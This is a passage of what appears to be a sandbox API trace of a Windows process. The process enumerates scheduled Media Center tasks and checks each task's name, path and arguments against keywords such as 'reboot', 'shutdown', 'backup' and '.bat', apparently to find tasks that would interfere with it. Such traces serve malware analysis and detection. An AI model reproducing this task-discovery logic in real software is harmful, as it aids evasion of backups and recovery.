returned 0x0 [0041.281] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0041.281] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0041.281] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0041.281] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0041.281] IExecAction:get_Arguments (in: This=0x26506f0, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/PBDADiscovery") returned 0x0 [0041.281] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x503f90 [0041.281] wcsstr (_Str="/pbdadiscovery", _SubStr="reboot") returned 0x0 [0041.281] wcsstr (_Str="/pbdadiscovery", _SubStr="restart") returned 0x0 [0041.281] wcsstr (_Str="/pbdadiscovery", _SubStr="shutdown") returned 0x0 [0041.281] wcsstr (_Str="/pbdadiscovery", _SubStr="logoff") returned 0x0 [0041.281] wcsstr (_Str="/pbdadiscovery", _SubStr=".bat") returned 0x0 [0041.281] wcsstr (_Str="/pbdadiscovery", _SubStr="backup") returned 0x0 [0041.281] wcsstr (_Str="/pbdadiscovery", _SubStr=".cmd") returned 0x0 [0041.281] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503f90) returned 1 [0041.281] IUnknown:Release (This=0x26506f0) returned 0x2 [0041.281] IUnknown:Release (This=0x26506f0) returned 0x1 [0041.281] IUnknown:Release (This=0x6eff68) returned 0x1 [0041.281] IUnknown:Release (This=0x6efef0) returned 0x0 [0041.281] IUnknown:Release (This=0x6efe40) returned 0x0 [0041.282] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0041.282] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="PBDADiscoveryW1") returned 0x0 [0041.282] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0041.283] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x5040d0 [0041.283] wcsstr (_Str="pbdadiscoveryw1", _SubStr="reboot") returned 0x0 [0041.283] wcsstr (_Str="pbdadiscoveryw1", _SubStr="restart") returned 0x0 [0041.283] wcsstr (_Str="pbdadiscoveryw1", _SubStr="shutdown") returned 0x0 [0041.283] wcsstr (_Str="pbdadiscoveryw1", _SubStr="logoff") returned 0x0 [0041.283] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".bat") returned 0x0 [0041.283] wcsstr (_Str="pbdadiscoveryw1", _SubStr="backup") returned 0x0 [0041.283] wcsstr (_Str="pbdadiscoveryw1", _SubStr=".cmd") returned 0x0 [0041.284] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x5040d0) returned 1 [0041.284] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efef0) returned 0x0 [0041.288] ITaskDefinition:get_Actions (in: This=0x6efef0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff68) returned 0x0 [0041.289] IActionCollection:get_Count (in: This=0x6eff68, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0041.289] IActionCollection:get_Item (in: This=0x6eff68, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650730) returned 0x0 [0041.289] IAction:get_Type (in: This=0x2650730, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0041.289] IUnknown:QueryInterface (in: This=0x2650730, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650730) returned 0x0 [0041.289] IExecAction:get_Path (in: This=0x2650730, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0041.289] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0041.289] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0041.289] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0041.289] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0041.289] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0041.289] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0041.289] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0041.289] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0041.289] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0041.289] IExecAction:get_Arguments (in: This=0x2650730, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/wait:7 /PBDADiscovery") returned 0x0 [0041.289] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa68 [0041.289] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0041.289] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="restart") returned 0x0 [0041.289] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0041.289] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0041.289] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0041.290] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="backup") returned 0x0 [0041.290] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0041.290] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa68) returned 1 [0041.290] IUnknown:Release (This=0x2650730) returned 0x2 [0041.290] IUnknown:Release (This=0x2650730) returned 0x1 [0041.290] IUnknown:Release (This=0x6eff68) returned 0x1 [0041.290] IUnknown:Release (This=0x6efef0) returned 0x0 [0041.290] IUnknown:Release (This=0x6efe40) returned 0x0 [0041.290] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0041.290] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="PBDADiscoveryW2") returned 0x0 [0041.290] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0041.292] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x5040a8 [0041.292] wcsstr (_Str="pbdadiscoveryw2", _SubStr="reboot") returned 0x0 [0041.292] wcsstr (_Str="pbdadiscoveryw2", _SubStr="restart") returned 0x0 [0041.292] wcsstr (_Str="pbdadiscoveryw2", _SubStr="shutdown") returned 0x0 [0041.292] wcsstr (_Str="pbdadiscoveryw2", _SubStr="logoff") returned 0x0 [0041.292] wcsstr (_Str="pbdadiscoveryw2", _SubStr=".bat") returned 0x0 [0041.292] wcsstr (_Str="pbdadiscoveryw2", _SubStr="backup") returned 0x0 [0041.292] wcsstr (_Str="pbdadiscoveryw2", _SubStr=".cmd") returned 0x0 [0041.292] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x5040a8) returned 1 [0041.292] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efef0) returned 0x0 [0041.297] ITaskDefinition:get_Actions (in: This=0x6efef0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff68) returned 0x0 [0041.297] IActionCollection:get_Count (in: This=0x6eff68, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0041.297] IActionCollection:get_Item (in: This=0x6eff68, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650730) returned 0x0 [0041.297] IAction:get_Type (in: This=0x2650730, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0041.297] IUnknown:QueryInterface (in: This=0x2650730, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2650730) returned 0x0 [0041.298] IExecAction:get_Path (in: This=0x2650730, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0041.298] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0041.298] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0041.298] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0041.298] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0041.298] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0041.298] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0041.298] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0041.298] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0041.298] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0041.298] IExecAction:get_Arguments (in: This=0x2650730, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/wait:90 /PBDADiscovery") returned 0x0 [0041.298] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x30) returned 0x4daa68 [0041.298] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0041.298] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="restart") returned 0x0 [0041.298] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0041.298] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0041.298] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0041.298] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="backup") returned 0x0 [0041.298] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0041.298] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa68) returned 1 [0041.298] IUnknown:Release (This=0x2650730) returned 0x2 [0041.299] IUnknown:Release (This=0x2650730) returned 0x1 [0041.299] IUnknown:Release (This=0x6eff68) returned 0x1 [0041.299] IUnknown:Release (This=0x6efef0) returned 0x0 [0041.299] IUnknown:Release (This=0x6efe40) returned 0x0 [0041.299] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0041.299] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="PeriodicScanRetry") returned 0x0 [0041.299] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0041.301] IUnknown:Release (This=0x6efe40) returned 0x0 [0041.301] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0041.301] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="PvrRecoveryTask") returned 0x0 [0041.301] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0041.302] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x503e00 [0041.302] wcsstr (_Str="pvrrecoverytask", _SubStr="reboot") returned 0x0 [0041.302] wcsstr (_Str="pvrrecoverytask", _SubStr="restart") returned 0x0 [0041.302] wcsstr (_Str="pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0041.302] wcsstr (_Str="pvrrecoverytask", _SubStr="logoff") returned 0x0 [0041.303] wcsstr (_Str="pvrrecoverytask", _SubStr=".bat") returned 0x0 [0041.303] wcsstr (_Str="pvrrecoverytask", _SubStr="backup") returned 0x0 [0041.303] wcsstr (_Str="pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0041.303] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503e00) returned 1 [0041.303] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efef0) returned 0x0 [0041.309] ITaskDefinition:get_Actions (in: This=0x6efef0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff68) returned 0x0 [0041.309] IActionCollection:get_Count (in: This=0x6eff68, pCount=0x2ffacc | out: pCount=0x2ffacc*=2) returned 0x0 [0041.309] IActionCollection:get_Item (in: This=0x6eff68, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26506f0) returned 0x0 [0041.309] IAction:get_Type (in: This=0x26506f0, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0041.309] IUnknown:QueryInterface (in: This=0x26506f0, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x26506f0) returned 0x0 [0041.309] IExecAction:get_Path (in: This=0x26506f0, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0041.309] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d28d0 [0041.309] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0041.309] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0041.309] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0041.309] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0041.310] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0041.310] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0041.310] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0041.310] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d28d0) returned 1 [0041.310] IExecAction:get_Arguments (in: This=0x26506f0, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="-PvrRecoveryTask") returned 0x0 [0041.310] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x22) returned 0x4d8890 [0041.310] wcsstr (_Str="-pvrrecoverytask", _SubStr="reboot") returned 0x0 [0041.310] wcsstr (_Str="-pvrrecoverytask", _SubStr="restart") returned 0x0 [0041.310] wcsstr (_Str="-pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0041.310] wcsstr (_Str="-pvrrecoverytask", _SubStr="logoff") returned 0x0 [0041.310] wcsstr (_Str="-pvrrecoverytask", _SubStr=".bat") returned 0x0 [0041.310] wcsstr (_Str="-pvrrecoverytask", _SubStr="backup") returned 0x0 [0041.310] wcsstr (_Str="-pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0041.310] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0041.310] IUnknown:Release (This=0x26506f0) returned 0x2 [0041.310] IUnknown:Release (This=0x26506f0) returned 0x1 [0041.310] IActionCollection:get_Item (in: This=0x6eff68, index=2, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650730) returned 0x0 [0041.310] IAction:get_Type (in: This=0x2650730, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0041.310] IUnknown:Release (This=0x2650730) returned 0x1 [0041.311] IUnknown:Release (This=0x6eff68) returned 0x1 [0041.311] IUnknown:Release (This=0x6efef0) returned 0x0 [0041.311] IUnknown:Release (This=0x6efe40) returned 0x0 [0041.311] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0041.311] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="PvrScheduleTask") returned 0x0 [0041.311] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0041.314] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x504030 [0041.314] wcsstr (_Str="pvrscheduletask", _SubStr="reboot") returned 0x0 [0041.314] wcsstr (_Str="pvrscheduletask", _SubStr="restart") returned 0x0 [0041.314] wcsstr (_Str="pvrscheduletask", _SubStr="shutdown") returned 0x0 [0041.314] wcsstr (_Str="pvrscheduletask", _SubStr="logoff") returned 0x0 [0041.314] wcsstr (_Str="pvrscheduletask", _SubStr=".bat") returned 0x0 [0041.314] wcsstr (_Str="pvrscheduletask", _SubStr="backup") returned 0x0 [0041.314] wcsstr (_Str="pvrscheduletask", _SubStr=".cmd") returned 0x0 [0041.314] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x504030) returned 1 [0041.314] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efef0) returned 0x0 [0041.322] ITaskDefinition:get_Actions (in: This=0x6efef0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff68) returned 0x0 [0041.322] IActionCollection:get_Count (in: This=0x6eff68, pCount=0x2ffacc | out: pCount=0x2ffacc*=2) returned 0x0 [0041.322] IActionCollection:get_Item (in: This=0x6eff68, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26506f0) returned 0x0 [0041.322] IAction:get_Type (in: This=0x26506f0, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0041.322] IUnknown:QueryInterface (in: This=0x26506f0, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x26506f0) returned 0x0 [0041.323] IExecAction:get_Path (in: This=0x26506f0, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0041.323] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d28d0 [0041.323] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0041.323] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0041.323] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0041.323] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0041.323] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0041.323] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0041.323] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0041.323] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d28d0) returned 1 [0041.323] IExecAction:get_Arguments (in: This=0x26506f0, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="-PvrSchedule") returned 0x0 [0041.323] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x503fb8 [0041.323] wcsstr (_Str="-pvrschedule", _SubStr="reboot") returned 0x0 [0041.323] wcsstr (_Str="-pvrschedule", _SubStr="restart") returned 0x0 [0041.323] wcsstr (_Str="-pvrschedule", _SubStr="shutdown") returned 0x0 [0041.323] wcsstr (_Str="-pvrschedule", _SubStr="logoff") returned 0x0 [0041.323] wcsstr (_Str="-pvrschedule", _SubStr=".bat") returned 0x0 [0041.323] wcsstr (_Str="-pvrschedule", _SubStr="backup") returned 0x0 [0041.323] wcsstr (_Str="-pvrschedule", _SubStr=".cmd") returned 0x0 [0041.324] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503fb8) returned 1 [0041.324] IUnknown:Release (This=0x26506f0) returned 0x2 [0041.324] IUnknown:Release (This=0x26506f0) returned 0x1 [0041.324] IActionCollection:get_Item (in: This=0x6eff68, index=2, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2650730) returned 0x0 [0041.324] IAction:get_Type (in: This=0x2650730, pType=0x2ffac8 | out: pType=0x2ffac8*=5) returned 0x0 [0041.324] IUnknown:Release (This=0x2650730) returned 0x1 [0041.324] IUnknown:Release (This=0x6eff68) returned 0x1 [0041.324] IUnknown:Release (This=0x6efef0) returned 0x0 [0041.324] IUnknown:Release (This=0x6efe40) returned 0x0 [0041.324] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0041.324] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="RecordingRestart") returned 0x0 [0041.324] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0041.326] IUnknown:Release (This=0x6efe40) returned 0x0 [0041.326] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0041.326] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="RegisterSearch") returned 0x0 [0041.326] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0041.328] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x503f68 [0041.328] wcsstr (_Str="registersearch", _SubStr="reboot") returned 0x0 [0041.328] wcsstr (_Str="registersearch", _SubStr="restart") returned 0x0 [0041.328] wcsstr (_Str="registersearch", _SubStr="shutdown") returned 0x0 [0041.328] wcsstr (_Str="registersearch", _SubStr="logoff") returned 0x0 [0041.328] wcsstr (_Str="registersearch", _SubStr=".bat") returned 0x0 [0041.328] wcsstr (_Str="registersearch", _SubStr="backup") returned 0x0 [0041.328] wcsstr (_Str="registersearch", _SubStr=".cmd") returned 0x0 [0041.328] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503f68) returned 1 [0041.328] IRegisteredTask:get_Definition (in: This=0x6efe40, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x6efef0) returned 0x0 [0041.333] ITaskDefinition:get_Actions (in: This=0x6efef0, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x6eff68) returned 0x0 [0041.334] IActionCollection:get_Count (in: This=0x6eff68, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0041.334] IActionCollection:get_Item (in: This=0x6eff68, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26506f0) returned 0x0 [0041.334] IAction:get_Type (in: This=0x26506f0, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0041.334] IUnknown:QueryInterface (in: This=0x26506f0, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x26506f0) returned 0x0 [0041.334] IExecAction:get_Path (in: This=0x26506f0, pPath=0x2ffad8 | out: pPath=0x2ffad8*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0041.334] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x42) returned 0x4f7148 [0041.334] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0041.334] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0041.334] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0041.334] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0041.334] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0041.334] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0041.334] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0041.334] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0041.334] IExecAction:get_Arguments (in: This=0x26506f0, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="/DoRegisterSearch $(Arg0)") returned 0x0 [0041.334] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x34) returned 0x4d9c28 [0041.334] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="reboot") returned 0x0 [0041.334] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="restart") returned 0x0 [0041.334] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="shutdown") returned 0x0 [0041.335] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="logoff") returned 0x0 [0041.335] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".bat") returned 0x0 [0041.335] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="backup") returned 0x0 [0041.335] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".cmd") returned 0x0 [0041.335] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0041.335] IUnknown:Release (This=0x26506f0) returned 0x2 [0041.335] IUnknown:Release (This=0x26506f0) returned 0x1 [0041.335] IUnknown:Release (This=0x6eff68) returned 0x1 [0041.335] IUnknown:Release (This=0x6efef0) returned 0x0 [0041.335] IUnknown:Release (This=0x6efe40) returned 0x0 [0041.335] IRegisteredTaskCollection:get_Item (in: This=0x2650b08, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x6efe40) returned 0x0 [0041.335] IRegisteredTask:get_Name (in: This=0x6efe40, pName=0x2ffadc | out: pName=0x2ffadc*="ReindexSearchRoot") returned 0x0 [0041.335] IRegisteredTask:get_State (in: This=0x6efe40, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0041.346] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x24) returned 0x4d8890 [0041.346] wcsstr (_Str="reindexsearchroot", _SubStr="reboot") returned 0x0 [0041.346] wcsstr (_Str="reindexsearchroot", _SubStr="restart") returned 0x0 [0041.346] wcsstr (_Str="reindexsearchroot", _SubStr="shutdown") returned 0x0 [0041.346] wcsstr (_Str="reindexsearchroot", _SubStr="logoff") returned 0x0 [0041.346] wcsstr (_Str="reindexsearchroot", _SubStr=".bat") returned 